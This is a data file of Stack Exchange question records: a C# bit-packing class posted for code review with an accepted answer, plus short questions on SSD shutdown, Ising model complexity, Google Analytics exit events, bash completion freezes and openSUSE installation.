{  "id": "_codereview.134028"  , "question": "Part 2 here.I wrote this class for packing data.Would it benefit from being named BitPacker rather than BitStream (and change write/read to pack/unpack), or it works as is?How can I improve it? Any way to make it more efficient? How can I reduce the amount of code? I have a lot of copy/pasted code with minor things changed that I'm not sure how (if?) I can condense.And, of course, any other comments.using System;using System.Collections;using System.Collections.Generic;/// <summary>/// Used to store data as bits. Acts as a queue - first data added is the first data removed./// Data should be read in the same order it is written. If read in a different order, it gives undefined results./// Reading from an empty BitStream returns 0./// </summary>public class BitStream{    ulong scratch_write;    int scratch_write_bits;    ulong scratch_read;    int scratch_read_bits;    Queue<ulong> buffer;    /// <summary>    /// How many bits are currently in the BitStream    /// </summary>    public long StoredBits    {        get;        private set;    }    #region Constructors    /// <summary>    /// Make a new BitStream    /// </summary>    public BitStream()    {        scratch_write = 0;        scratch_write_bits = 0;        scratch_read = 0;        scratch_read_bits = 0;        buffer = new Queue<ulong>();    }    /// <summary>    /// Make a new BitStream    /// </summary>    /// <param name=bitCount>How many bits you expect this stream will hold. A closer value nets increased performance.</param>    public BitStream( long bitCount )    {        scratch_write = 0;        scratch_write_bits = 0;        scratch_read = 0;        scratch_read_bits = 0;        buffer = new Queue<ulong>( (int) IntDivideRoundUp( bitCount, 64 ) );    }    /// <summary>    /// Make a new BitStream containing bits from the byte array    /// NOTE: StoredBits may return a higher count than there are actual bits to read if the byte array came from another BitStream.    /// </summary>    /// <param name=bits>contains bits to be stored in the bitstream</param>    public BitStream( byte[] bits )    {        scratch_write = 0;        scratch_write_bits = 0;        scratch_read = 0;        scratch_read_bits = 0;        buffer = new Queue<ulong>();        foreach ( var bite in bits )        {            Write( bite, byte.MinValue, byte.MaxValue );        }    }    #endregion    /// <summary>    /// Get the bits stored in a ulong array (left-endian)    /// </summary>    /// <returns>ulong array of bits</returns>    public ulong[] GetUlongArray()    {        ResetBuffer();        if ( scratch_write_bits > 0 )        {            ulong[] result = new ulong[ buffer.Count + 1 ];            Array.Copy( buffer.ToArray(), result, buffer.Count );            result[ buffer.Count ] = scratch_write;            return result;        }        return buffer.ToArray();    }    /// <summary>    /// Get the bits stored in a byte array (left-endian)    /// </summary>    /// <returns>byte array of bits</returns>    public byte[] GetByteArray()    {        ResetBuffer();        int extraBytes = (int) IntDivideRoundUp( scratch_write_bits, 8 );        byte[] result = new byte[ buffer.Count * 8 + extraBytes ];        Buffer.BlockCopy( buffer.ToArray(), 0, result, 0, result.Length - extraBytes );        int index = buffer.Count * 8;        int bits = scratch_write_bits;        ulong scratch = scratch_write;        while ( bits > 0 )        {            int bitsToStore = bits >= 8 ? 8 : bits;            result[ index ] = (byte) ( scratch >> ( 64 - bitsToStore ) );            scratch <<= bitsToStore;            bits -= bitsToStore;            index++;        }        return result;    }    /// <summary>    /// Get the bits stored in a BitArray    /// </summary>    /// <returns>all bits in the stream in a BitArray</returns>    public BitArray GetBitArray()    {        ResetBuffer();        BitArray ba = new BitArray( buffer.Count * 64 + scratch_write_bits );        var tempBuf = buffer.ToArray();        int counter = 0;        for ( int i = 0; i < ba.Count; i++ )        {            for ( int j = 0; j < 64; j++ )            {                ba[ counter ] = ( tempBuf[ i ] & ( (ulong) 1 << ( 63 - j ) ) ) > 0;                counter++;            }        }        for ( int i = 0; i < scratch_write_bits; i++ )        {            ba[ counter ] = ( scratch_write & ( (ulong) 1 << ( 63 - i ) ) ) > 0;            counter++;        }        return ba;    }    #region Write    /// <summary>    /// Write bits to the stream    /// </summary>    /// <param name=data>bits to be written</param>    /// <param name=bits>how many bits</param>    protected void Write( ulong data, int bits )    {        if ( bits == 0 )            return;        scratch_write |= ( ( data << ( 64 - bits ) ) >> scratch_write_bits );        scratch_write_bits += bits;        if ( scratch_write_bits >= 64 )        {            buffer.Enqueue( scratch_write );            scratch_write = 0;            scratch_write_bits -= 64;            if ( scratch_write_bits > 0 )                scratch_write |= ( data << ( 64 - scratch_write_bits ) );        }        StoredBits += bits;    }    /// <summary>    /// Write 1 bit to the stream    /// </summary>    /// <param name=data>bit to be written</param>    public void Write( bool data )    {        Write( BitConverter.GetBytes( data )[ 0 ], 1 );    }    /// <summary>    /// Write bits to the stream    /// </summary>    /// <param name=data>bits to be written</param>    /// <param name=min>the minimum number that can be written</param>    /// <param name=max>the maximum number that can be written</param>    public void Write( byte data, byte min, byte max )    {        if ( min > max )            swap( min, max );        if ( data < min || data > max )            throw new ArgumentOutOfRangeException( data, data, must be between min and max );        Write( data, BitsRequired( max ) );    }    /// <summary>    /// Write bits to the stream    /// </summary>    /// <param name=data>bits to be written</param>    /// <param name=min>the minimum number that can be written</param>    /// <param name=max>the maximum number that can be written</param>    public void Write( sbyte data, sbyte min, sbyte max )    {        if ( min > max )            swap( min, max );        if ( data < min || data > max )            throw new ArgumentOutOfRangeException( data, data, must be between min and max );        if ( data == sbyte.MinValue )        {            Write( (ulong) data, 64 );            return;        }        long data2 = data;        int bits = BitsRequired( min, max );        if ( data2 < 0 )        {            data2 = ~data2 | ( 1L << ( bits - 1 ) );        }        Write( (ulong) data2, bits );    }    /// <summary>    /// Write bits to the stream    /// </summary>    /// <param name=data>bits to be written</param>    /// <param name=min>the minimum number that can be written</param>    /// <param name=max>the maximum number that can be written</param>    public void Write( char data, char min, char max )    {        if ( min > max )            swap( min, max );        if ( data < min || data > max )            throw new ArgumentOutOfRangeException( data, data, must be between min and max );        int bits = BitsRequired( min, max );        Write( (ulong) data, bits );    }    /// <summary>    /// Write bits to the stream    /// </summary>    /// <param name=data>bits to be written</param>    /// <param name=min>the minimum number that can be written</param>    /// <param name=max>the maximum number that can be written</param>    public void Write( short data, short min, short max )    {        if ( min > max )            swap( min, max );        if ( data < min || data > max )            throw new ArgumentOutOfRangeException( data, data, must be between min and max );        if ( data == short.MinValue )        {            Write( (ulong) data, 64 );            return;        }        long data2 = data;        int bits = BitsRequired( min, max );        if ( data2 < 0 )        {            data2 = ~data2 | ( 1L << ( bits - 1 ) );        }        Write( (ulong) data2, bits );    }    /// <summary>    /// Write bits to the stream    /// </summary>    /// <param name=data>bits to be written</param>    /// <param name=min>the minimum number that can be written</param>    /// <param name=max>the maximum number that can be written</param>    public void Write( ushort data, ushort min, ushort max )    {        if ( min > max )            swap( min, max );        if ( data < min || data > max )            throw new ArgumentOutOfRangeException( data, data, must be between min and max );        Write( data, BitsRequired( max ) );    }    /// <summary>    /// Write bits to the stream    /// </summary>    /// <param name=data>bits to be written</param>    /// <param name=min>the minimum number that can be written</param>    /// <param name=max>the maximum number that can be written</param>    public void Write( int data, int min, int max )    {        if ( min > max )            swap( min, max );        if ( data < min || data > max )            throw new ArgumentOutOfRangeException( data, data, must be between min and max );        if ( data == int.MinValue )        {            Write( (ulong) data, 64 );            return;        }        long data2 = data;        int bits = BitsRequired( min, max );        if ( data2 < 0 )        {            data2 = ~data2 | ( 1L << ( bits - 1 ) );        }        Write( (ulong) data2, bits );    }    /// <summary>    /// Write bits to the stream    /// </summary>    /// <param name=data>bits to be written</param>    /// <param name=min>the minimum number that can be written</param>    /// <param name=max>the maximum number that can be written</param>    public void Write( uint data, uint min, uint max )    {        if ( min > max )            swap( min, max );        if ( data < min || data > max )            throw new ArgumentOutOfRangeException( data, data, must be between min and max );        Write( data, BitsRequired( max ) );    }    /// <summary>    /// Write bits to the stream    /// </summary>    /// <param name=data>bits to be written</param>    /// <param name=min>the minimum number that can be written</param>    /// <param name=max>the maximum number that can be written</param>    public void Write( long data, long min, long max )    {        if ( min > max )            swap( min, max );        if ( data < min || data > max )            throw new ArgumentOutOfRangeException( data, data, must be between min and max );        if ( data == long.MinValue )        {            Write( (ulong) data, 64 );            return;        }        int bits = BitsRequired( min, max );        if ( data < 0 )        {            data = ~data | ( 1L << ( bits - 1 ) );        }        Write( (ulong) data, bits );    }    /// <summary>    /// Write bits to the stream    /// </summary>    /// <param name=data>bits to be written</param>    /// <param name=min>the minimum number that can be written</param>    /// <param name=max>the maximum number that can be written</param>    public void Write( ulong data, ulong min, ulong max )    {        if ( min > max )            swap( min, max );        if ( data < min || data > max )            throw new ArgumentOutOfRangeException( data, data, must be between min and max );        Write( data, BitsRequired( max ) );    }    /// <summary>    /// Write bits to the stream    /// </summary>    /// <param name=data>bits to be written</param>    /// <param name=min>the minimum number that can be written</param>    /// <param name=max>the maximum number that can be written</param>    /// <param name=precision>how many digits after the decimal</param>    public void Write( float data, float min, float max, byte precision )    {        if ( min > max )            swap( min, max );        if ( data < min || data > max )            throw new ArgumentOutOfRangeException( data, data, must be between min and max );        int mult = IntPow( 10, precision );        double infoMax = Math.Round( max * mult, MidpointRounding.AwayFromZero );        double infoMin = Math.Round( min * mult, MidpointRounding.AwayFromZero );        if ( infoMax > uint.MaxValue || -infoMax > uint.MaxValue || infoMin > uint.MaxValue || -infoMin > uint.MaxValue )        {            Write( (ulong) BitConverter.DoubleToInt64Bits( data ), 32 );            return;        }        int info = (int) Math.Round( data * mult, MidpointRounding.AwayFromZero );        Write( info, (int) infoMin, (int) infoMax );    }    /// <summary>    /// Write bits to the stream    /// </summary>    /// <param name=data>bits to be written</param>    /// <param name=min>the minimum number that can be written</param>    /// <param name=max>the maximum number that can be written</param>    /// <param name=precision>how many digits after the decimal</param>    public void Write( double data, double min, double max, byte precision )    {        if ( min > max )            swap( min, max );        if ( data < min || data > max )            throw new ArgumentOutOfRangeException( data, data, must be between min and max );        int mult = IntPow( 10, precision );        double infoMax = Math.Round( max * mult, MidpointRounding.AwayFromZero );        double infoMin = Math.Round( min * mult, MidpointRounding.AwayFromZero );        if ( infoMax > ulong.MaxValue || -infoMax > ulong.MaxValue || infoMin > ulong.MaxValue || -infoMin > ulong.MaxValue )        {            Write( (ulong) BitConverter.DoubleToInt64Bits( data ), 64 );            return;        }        long info = (long) Math.Round( data * mult, MidpointRounding.AwayFromZero );        Write( info, (long) infoMin, (long) infoMax );    }    #endregion    #region Read    /// <summary>    /// Read bits from the stream    /// </summary>    /// <param name=bits>How many bits to read</param>    /// <returns>bits read in ulong form</returns>    protected ulong Read( int bits )    {        StoredBits -= bits;        if ( buffer.Count == 0 )        {            scratch_read = scratch_write;            scratch_read_bits = scratch_write_bits;        }        if ( bits == 0 || ( buffer.Count == 0 && scratch_write_bits == 0 ) )            return 0;        ulong data = scratch_read >> ( 64 - bits );        if ( scratch_read_bits < bits )        {            bits -= scratch_read_bits;            if ( buffer.Count == 0 )            {                scratch_read = scratch_write;                scratch_read_bits = scratch_write_bits;                data |= ( scratch_read >> ( 64 - bits ) );                scratch_read <<= bits;                scratch_read_bits -= bits;                scratch_write = scratch_read;                scratch_write_bits = scratch_read_bits;            }            else            {                scratch_read = buffer.Dequeue();                scratch_read_bits = 64;                data |= ( scratch_read >> ( 64 - bits ) );                scratch_read <<= bits;                scratch_read_bits -= bits;            }        }        else        {            scratch_read <<= bits;            scratch_read_bits -= bits;            if ( buffer.Count == 0 )            {                scratch_write = scratch_read;                scratch_write_bits = scratch_read_bits;            }        }        if ( StoredBits <= 0 ) // handle the case of asking for more bits than exist in the stream        {            StoredBits = 0;            scratch_write = 0;            scratch_write_bits = 0;            scratch_read = 0;            scratch_read_bits = 0;        }        return data;    }    /// <summary>    /// Read a bit from the stream and write it to data    /// </summary>    /// <param name=data>the variable to be written to</param>    public void Read( out bool data )    {        data = Read( 1 ) > 0;    }    /// <summary>    /// Read bits from the stream and write that information to data.    /// WARNING: If you read data in a different order than written, there is a possibility that the actual number written to data is outside of the given range. In such a case, you may want to check the bounds yourself.    /// </summary>    /// <param name=data>the variable to be written to</param>    /// <param name=min>the smallest possible number that could have been written</param>    /// <param name=max>the largest possible number that could have been written</param>    public void Read( out ulong data, ulong min, ulong max )    {        if ( min > max )            swap( min, max );        int bits = BitsRequired( max );        data = Read( bits );    }    /// <summary>    /// Read bits from the stream and write that information to data.    /// WARNING: If you read data in a different order than written, there is a possibility that the actual number written to data is outside of the given range. In such a case, you may want to check the bounds yourself.    /// </summary>    /// <param name=data>the variable to be written to</param>    /// <param name=min>the smallest possible number that could have been written</param>    /// <param name=max>the largest possible number that could have been written</param>    public void Read( out uint data, uint min, uint max )    {        if ( min > max )            swap( min, max );        int bits = BitsRequired( max );        data = (uint) Read( bits );    }    /// <summary>    /// Read bits from the stream and write that information to data.    /// WARNING: If you read data in a different order than written, there is a possibility that the actual number written to data is outside of the given range. In such a case, you may want to check the bounds yourself.    /// </summary>    /// <param name=data>the variable to be written to</param>    /// <param name=min>the smallest possible number that could have been written</param>    /// <param name=max>the largest possible number that could have been written</param>    public void Read( out ushort data, ushort min, ushort max )    {        if ( min > max )            swap( min, max );        int bits = BitsRequired( max );        data = (ushort) Read( bits );    }    /// <summary>    /// Read bits from the stream and write that information to data.    /// WARNING: If you read data in a different order than written, there is a possibility that the actual number written to data is outside of the given range. In such a case, you may want to check the bounds yourself.    /// </summary>    /// <param name=data>the variable to be written to</param>    /// <param name=min>the smallest possible number that could have been written</param>    /// <param name=max>the largest possible number that could have been written</param>    public void Read( out byte data, byte min, byte max )    {        if ( min > max )            swap( min, max );        int bits = BitsRequired( max );        data = (byte) Read( bits );    }    /// <summary>    /// Read bits from the stream and write that information to data.    /// WARNING: If you read data in a different order than written, there is a possibility that the actual number written to data is outside of the given range. In such a case, you may want to check the bounds yourself.    /// </summary>    /// <param name=data>the variable to be written to</param>    /// <param name=min>the smallest possible number that could have been written</param>    /// <param name=max>the largest possible number that could have been written</param>    public void Read( out char data, char min, char max )    {        if ( min > max )            swap( min, max );        int bits = BitsRequired( max );        data = (char) Read( bits );    }    /// <summary>    /// Read bits from the stream and write that information to data.    /// WARNING: If you read data in a different order than written, there is a possibility that the actual number written to data is outside of the given range. In such a case, you may want to check the bounds yourself.    /// </summary>    /// <param name=data>the variable to be written to</param>    /// <param name=min>the smallest possible number that could have been written</param>    /// <param name=max>the largest possible number that could have been written</param>    public void Read( out long data, long min, long max )    {        if ( min > max )            swap( min, max );        int bits = BitsRequired( min, max );        ulong readBits = Read( bits );        if ( (long) readBits == long.MinValue )        {            data = (long) readBits;            return;        }        if ( min < 0 || max < 0 )        {            ulong negative = readBits >> ( bits - 1 );            if ( negative > 0 )            {                readBits ^= ( negative << ( bits - 1 ) );                readBits = ~readBits;                readBits |= ( negative << 63 );            }        }        data = (long) readBits;    }    /// <summary>    /// Read bits from the stream and write that information to data.    /// WARNING: If you read data in a different order than written, there is a possibility that the actual number written to data is outside of the given range. In such a case, you may want to check the bounds yourself.    /// </summary>    /// <param name=data>the variable to be written to</param>    /// <param name=min>the smallest possible number that could have been written</param>    /// <param name=max>the largest possible number that could have been written</param>    public void Read( out int data, int min, int max )    {        if ( min > max )            swap( min, max );        int bits = BitsRequired( min, max );        uint readBits = (uint) Read( bits );        if ( (int) readBits == int.MinValue )        {            data = (int) readBits;            return;        }        if ( min < 0 || max < 0 )        {            uint negative = readBits >> ( bits - 1 );            if ( negative > 0 )            {                readBits ^= ( negative << ( bits - 1 ) );                readBits = ~readBits;                readBits |= ( negative << 31 );            }        }        data = (int) readBits;    }    /// <summary>    /// Read bits from the stream and write that information to data.    /// WARNING: If you read data in a different order than written, there is a possibility that the actual number written to data is outside of the given range. In such a case, you may want to check the bounds yourself.    /// </summary>    /// <param name=data>the variable to be written to</param>    /// <param name=min>the smallest possible number that could have been written</param>    /// <param name=max>the largest possible number that could have been written</param>    public void Read( out short data, short min, short max )    {        if ( min > max )            swap( min, max );        int bits = BitsRequired( min, max );        ushort readBits = (ushort) Read( bits );        if ( (short) readBits == short.MinValue )        {            data = (short) readBits;            return;        }        if ( min < 0 || max < 0 )        {            uint negative = (uint) readBits >> ( bits - 1 );            if ( negative > 0 )            {                readBits ^= (ushort) ( negative << ( bits - 1 ) );                readBits = (ushort) ~readBits;                readBits |= (ushort) ( negative << 63 );            }        }        data = (short) readBits;    }    /// <summary>    /// Read bits from the stream and write that information to data.    /// WARNING: If you read data in a different order than written, there is a possibility that the actual number written to data is outside of the given range. In such a case, you may want to check the bounds yourself.    /// </summary>    /// <param name=data>the variable to be written to</param>    /// <param name=min>the smallest possible number that could have been written</param>    /// <param name=max>the largest possible number that could have been written</param>    public void Read( out sbyte data, sbyte min, sbyte max )    {        if ( min > max )            swap( min, max );        int bits = BitsRequired( min, max );        byte readBits = (byte) Read( bits );        if ( (sbyte) readBits == sbyte.MinValue )        {            data = (sbyte) readBits;            return;        }        if ( min < 0 || max < 0 )        {            uint negative = (uint) readBits >> ( bits - 1 );            if ( negative > 0 )            {                readBits ^= (byte) ( negative << ( bits - 1 ) );                readBits = (byte) ~readBits;                readBits |= (byte) ( negative << 63 );            }        }        data = (sbyte) readBits;    }    /// <summary>    /// Read bits from the stream and write that information to data.    /// WARNING: If you read data in a different order than written, there is a possibility that the actual number written to data is outside of the given range. In such a case, you may want to check the bounds yourself.    /// </summary>    /// <param name=data>the variable to be written to</param>    /// <param name=min>the smallest possible number that could have been written</param>    /// <param name=max>the largest possible number that could have been written</param>    /// <param name=precision>how many digits after the decimal</param>    public void Read( out double data, double min, double max, byte precision )    {        if ( min > max )            swap( min, max );        int mult = IntPow( 10, precision );        double infoMax = Math.Round( max * mult, MidpointRounding.AwayFromZero );        double infoMin = Math.Round( min * mult, MidpointRounding.AwayFromZero );        if ( infoMax > ulong.MaxValue || -infoMax > ulong.MaxValue || infoMin > ulong.MaxValue || -infoMin > ulong.MaxValue )        {            data = BitConverter.Int64BitsToDouble( (long) Read( 64 ) );            return;        }        long readBits;        Read( out readBits, (long) infoMax, (long) infoMin );        data = readBits / (double) mult;    }    /// <summary>    /// Read bits from the stream and write that information to data.    /// WARNING: If you read data in a different order than written, there is a possibility that the actual number written to data is outside of the given range. In such a case, you may want to check the bounds yourself.    /// </summary>    /// <param name=data>the variable to be written to</param>    /// <param name=min>the smallest possible number that could have been written</param>    /// <param name=max>the largest possible number that could have been written</param>    /// <param name=precision>how many digits after the decimal</param>    public void Read( out float data, float min, float max, byte precision )    {        if ( min > max )            swap( min, max );        int mult = IntPow( 10, precision );        float infoMax = (float) Math.Round( max * mult, MidpointRounding.AwayFromZero );        float infoMin = (float) Math.Round( min * mult, MidpointRounding.AwayFromZero );        if ( infoMax > uint.MaxValue || -infoMax > uint.MaxValue || infoMin > uint.MaxValue || -infoMin > uint.MaxValue )        {            data = (float) BitConverter.Int64BitsToDouble( (int) Read( 32 ) );            return;        }        int readBits;        Read( out readBits, (int) infoMax, (int) infoMin );        data = readBits / (float) mult;    }    #endregion    #region Helpers    /// <summary>    ///     /// </summary>    /// <param name=max>the maximum number that will be written</param>    /// <returns>how many bits are needed</returns>    protected int BitsRequired( ulong max )    {        if ( max == 0 )            return 1;        for ( int i = 1; i < 64; i++ )        {            if ( max < ( (ulong) 1 << i ) )                return i;        }        return 64;    }    /// <summary>    ///     /// </summary>    /// <param name=min>the minimum number that will be written</param>    /// <param name=max>the maximum number that will be written</param>    /// <returns>how many bits are needed</returns>    protected int BitsRequired( sbyte min, sbyte max )    {        if ( min > max )            swap( min, max );        if ( min == sbyte.MinValue )            return 8;        int signBit = 0;        if ( min < 0 )        {            min = (sbyte) ~min;            signBit = 1;        }        if ( max < 0 )        {            max = (sbyte) ~max;            signBit = 1;        }        return BitsRequired( ( max > min ) ? (ulong) max : (ulong) min ) + signBit;    }    /// <summary>    ///     /// </summary>    /// <param name=min>the minimum number that will be written</param>    /// <param name=max>the maximum number that will be written</param>    /// <returns>how many bits are needed</returns>    protected int BitsRequired( short min, short max )    {        if ( min > max )            swap( min, max );        if ( min == short.MinValue )            return 16;        int signBit = 0;        if ( min < 0 )        {            min = (short) ~min;            signBit = 1;        }        if ( max < 0 )        {            max = (short) ~max;            signBit = 1;        }        return BitsRequired( ( max > min ) ? (ulong) max : (ulong) min ) + signBit;    }    /// <summary>    ///     /// </summary>    /// <param name=min>the minimum number that will be written</param>    /// <param name=max>the maximum number that will be written</param>    /// <returns>how many bits are needed</returns>    protected int BitsRequired( int min, int max )    {        if ( min > max )            swap( min, max );        if ( min == int.MinValue )            return 32;        int signBit = 0;        if ( min < 0 )        {            min = ~min;            signBit = 1;        }        if ( max < 0 )        {            max = ~max;            signBit = 1;        }        return BitsRequired( ( max > min ) ? (ulong) max : (ulong) min ) + signBit;    }    /// <summary>    ///     /// </summary>    /// <param name=min>the minimum number that will be written</param>    /// <param name=max>the maximum number that will be written</param>    /// <returns>how many bits are needed</returns>    protected int BitsRequired( long min, long max )    {        if ( min > max )            swap( min, max );        if ( min == long.MinValue )            return 64;        int signBit = 0;        if ( min < 0 )        {            min = ~min;            signBit = 1;        }        if ( max < 0 )        {            max = ~max;            signBit = 1;        }        return BitsRequired( ( max > min ) ? (ulong) max : (ulong) min ) + signBit;    }    /// <summary>    /// If scratch_read contains any bits, moves them to the head of the buffer.    /// NOTE: Not a short operation, use only when necessary!    /// </summary>    protected void ResetBuffer()    {        if ( scratch_read_bits > 0 && scratch_read != scratch_write )        {            if ( scratch_write_bits > 0 )                buffer.Enqueue( scratch_write );            var oldBuf = buffer.ToArray();            buffer.Clear();            int tempBits = scratch_write_bits;            scratch_write = 0;            scratch_write_bits = 0;            Write( scratch_read, scratch_read_bits );            scratch_read = 0;            scratch_read_bits = 0;            for ( int i = 0; i < oldBuf.Length - 1; i++ )                Write( oldBuf[ i ], 64 );            Write( oldBuf[ oldBuf.Length - 1 ], tempBits );        }    }    void swap<T>( T obj1, T obj2 )    {        T temp = obj1;        obj1 = obj2;        obj2 = temp;    }    long IntDivideRoundUp( long upper, long lower )    {        return ( upper + lower - 1 ) / lower;    }    int IntPow( int x, uint pow )    {        int ret = 1;        while ( pow != 0 )        {            if ( ( pow & 1 ) == 1 )                ret *= x;            x *= x;            pow >>= 1;        }        return ret;    }    #endregion}It works by determining how many bits are actually required to store a number based on the min and max (e.g. 63 needs 6 bits, 64 needs 7 bits).Example use (as requested):BitStream bs = new BitStream();int min1 = -1000, max1 = 1000, num1 = 287;float min2 = 0f, max2 = 50f, num2 = 16.78634f;double min3 = double.MinValue, max3 = double.MaxValue, num3 = 9845216.1916526;byte fltPrec = 2;byte dblPrec = 0;bs.Write( num1, min1, max1 ); // 12 bits (11 bits for 1000 plus 1 bit for negative sign)bs.Write( num2, min2, max2, fltPrec ); // converts to 1679 int, 14 bits (maximum converted to int is 5000)bs.Write( num3, min3, max3, dblPrec ); // precision is ignored here as min/max are too high to try to convert to an integer, so the value is stored using all 64 bits of the doublebs.Write( true ); // 1 bitint num4;float num5;double num6;bool checker;bs.Read( out num4, min1, max1 ); // num4 = 287bs.Read( out num5, min2, max2, fltPrec ); // num5 = 16.79, there is some loss of precision herebs.Read( out num6, min3, max3, dblPrec ); // num6 = 9845216.1916526, no loss of precisionbs.Read( out checker ); // checker = trueint newNum;bs.Read( out newNum, -100, 100 ); // newNum = 0 as there are no bits left in the BitStream"  , "title": "Packing and unpacking bits"  , "tags": "c#;bitwise;serialization;stream"  , "accepted_answer": "BugThe swap<T>() method isn't doing what you think it does, because the passed in T obj1, T obj2 aren't passed with the ref keyword the values ar only changed in that method not targeting the variable values of the calling method. So thisint min = 10;int max = 5;swap(min, max);Console.WriteLine(String.Format({0} : {1}, min, max);will output 10 : 5 But using the ref keyword wouldn't be that good either. using regions is considered to be a antipattern, not only because of the reasons statet in the answer of the link, but also because having 4 regions indicates that your class is doing too much.  based on the .NET naming guidelines variables should be named using camelCase instead of snake_case casing.   you should always use braces {} although they might be optional. Using them will make your code less error prone.  The least you should do is that you stick to a choosen style. Right now you are mixing the styles, sometimes using braces and sometimes you don't , e.g  if ( data2 < 0 ){    data2 = ~data2 | ( 1L << ( bits - 1 ) );}by using constructor chaining, you can remove some of the duplicated code like so  public BitStream(){    scratch_write = 0;    scratch_write_bits = 0;    scratch_read = 0;    scratch_read_bits = 0;    buffer = new Queue<ulong>();}public BitStream(long bitCount)    : this(){    buffer = new Queue<ulong>((int)IntDivideRoundUp(bitCount, 64));}public BitStream(byte[] bits)    : this(){    foreach (var bite in bits)    {        Write(bite, byte.MinValue, byte.MaxValue);    }}  or you can just initialize some of the values like so  ulong scratch_write = 0;int scratch_write_bits = 0;ulong scratch_read = 0;int scratch_read_bits = 0;Queue<ulong> buffer = new Queue<ulong>();public BitStream(){ }public BitStream(long bitCount){    buffer = new Queue<ulong>((int)IntDivideRoundUp(bitCount, 64));}public BitStream(byte[] bits){    foreach (var bite in bits)    {        Write(bite, byte.MinValue, byte.MaxValue);    }}the spaces after opening ( and before the closing ) are looking strange in my eyes. A C# developer wouldn't expect them.  protected int BitsRequired( long min, long max )"  } 
{  "id": "_unix.174181"  , "question": "I recently got a Samsung SSD.  I have debian wheezy installed on it. I carry it around in a USB enclosure and boot both my work and home computers from it.   How can I ensure that the system properly powers down the drive during shutdown?  The following SMART metrics seem to indicate that it doesn't:ID# ATTRIBUTE_NAME     FLAG    VALUE WORST THRESH TYPE     UPDATED WHEN_FAILED RAW_VALUE 12 Power_Cycle_Count  0x0032  099   099   000    Old_age  Always      -       24235 Unknown_Attribute  0x0012  099   099   000    Old_age  Always      -       23I believe the numbers indicate the drive has been powered up 24 times and has lost power unexpectedly 23 times, i.e. every power down.  The metrics are described on Samsung's website as follows:ID # 12 Power-On CountThe raw value of this attribute reports the cumulative number of power on/off cycles. This includes both sudden power off and normal power off cases.ID # 235 Power Recovery CountA count of the number of sudden power off cases. If there is a sudden power off, the firmware must recover all of the mapping and user data during the next power on. This is a count of the number of times this has happened.I read that unexpected power loss is bad for an SSD.Edit: Now I'm not sure this is a real question.  I tried attaching the drive to a different system, putting it to sleep with hdparm -Y /dev/sdX, and then disconnecting the USB cable.  It still increments the power recovery count.  I tried this with three different enclosures.  I think I'll take this issue to Samsung."  , "title": "Properly power down SSD during shutdown"  , "tags": "debian;usb;shutdown;smart"  } 
{  "id": "_cstheory.27417"  , "question": "In 1982, Barahona proved that finding the ground state of an Ising model is NP-hard. Later, in 2000, Istrail proved that it is NP-complete. When I look up the citations of these two papers using Google scholar, it appears that the previous and weaker result has 647 citations while on the other hand the more recent and stronger result has 109 citations.Shouldn't it be the other way round? Isn't a stronger result more useful?"  , "title": "Which complexity information of Ising model is more important?"  , "tags": "np hardness;np complete;combinatorics;statistical physics;citations"  } 
{  "id": "_webmaster.108302"  , "question": "I have a single-page application, and I am tracking events on the page, in Google Analytics, passing our internal user ID and timestamp as attributes on the event. I would like to know the best way to find the top bounce (UPDATE: exit is a better term for this) events - i.e. events that are more than averagely likely to be the last event that a user fires. I think I can do this by extracting the raw event data from the GA API, and simply running my own analyses on it, using the timestamps. Is this correct? (UPDATE: It seems not, because GA doesn't allow the export of raw event data.) Is there any way to do this within the GA interface? I think I'm right in saying that the Event Flow won't show me the overall exit rates for a particular event. I'm looking to create information like this:create new document: last event 10% of the time it was firededit document: last event 5% of the time it was firedturn on track changes: last event 80% of the time it was firedSo that I can spot which events look problematic, like the last one in this example. "  , "title": "Google Analytics - find exit rate for events, rather than pages?"  , "tags": "google analytics"  } 
{  "id": "_unix.152953"  , "question": "On Linux within bash the Pseudo Terminal window (terminator) as well as the Terminal itself freezes when trying to use autocomplete (TAB) as well as after getting an error message using gzip and tar.So far this only happens with gzip and tar…after getting an error message (own fault, typos, etc.)using autocompleteCTRL+C somehow solves the problem in so far as I can work on and have (up to now) no problems with other commands EXCEPT tar. Thus, the problem is repeatable. I would very much appreciate help from here on.I can isolate the problem further, as it had a comback: As hinted in a comment, un commenting the following section in ~/home/USER/.bashrc # if ! shopt -oq posix; then#  if [ -f /usr/share/bash-completion/bash_completion ]; then#    . /usr/share/bash-completion/bash_completion#  elif [ -f /etc/bash_completion ]; then#    . /etc/bash_completion#  fi# fihelped in so far as trying to use autocompletestill sends the Terminal Emulation (pts) into deep freeze when using TAB after the first occurrence of -- until CTRL+C ends itthe real terminal (tty) seems to ignore TAB completely with gzip and tar. I could live that and a long face, but then … really?Config FilesThe other config file (I know) for completion would be /etc/bash.bashrc which would turn completion off completely I guess. Not good. The config files for the terminal emulator doesn't have any settings for autocomplete or suchI can type some characters and then the Terminal freezes – takes no more keystrokes. This happens both in an emulated terminal window (pts) in the GUI and also real promt (tty).I work from a keyboard connected via USB, and not on a laptop or the like.What would be a proper way to kill a terminal session like: »kill tty1 from tty2« because this is exactly what I'm stuck here!"  , "title": "Terminal freezes after using tar or gz"  , "tags": "bash;terminal;tar;gzip"  } 
{  "id": "_unix.43695"  , "question": "For some reason, my laptop (HP ProBook 5320m) refuses to boot when I install the ISO images for openSUSE 12.1 on an USB stick (the stick starts to blink and then the internal fan goes into overdrive and I have to switch off the laptop).I also tried the NET version, different USB sticks, no game. Currently, openSUSE 11.4 is installed on the laptop, is it's not impossible to install. My guess is that something was changed in the 12.1 release which the BIOS of the laptop doesn't like.So my last hope is to create a bootable external hard disk but when I look into the folder /boot of the ISO image, I can't find GRUB or anything that I recognize.Questions:Is there a way to replace the ISO boot loader with GRUB?Is there some other way to install 12.1 on openSUSE 11.4? Ubuntu can do a dist upgrade in the running system, for example. Is something like that possible with openSUSE, too?Could I boot with the installer for 11.4 and somehow make it use the installation files for 12.1?PS: Dear HP engineers. Your BIOS looks great but I'd prefer one that works. Just saying :-("  , "title": "How do I install openSUSE 12.1 from an external hard disk?"  , "tags": "opensuse;system installation;usb drive;bios"  , "accepted_answer": "Probably not. GRUB is a general purpose bootloader. The SYSLINUX bootloaders are different, there is one for each medium.How to upgrade OpenSuSE 11.4 to 12.1 "  } 
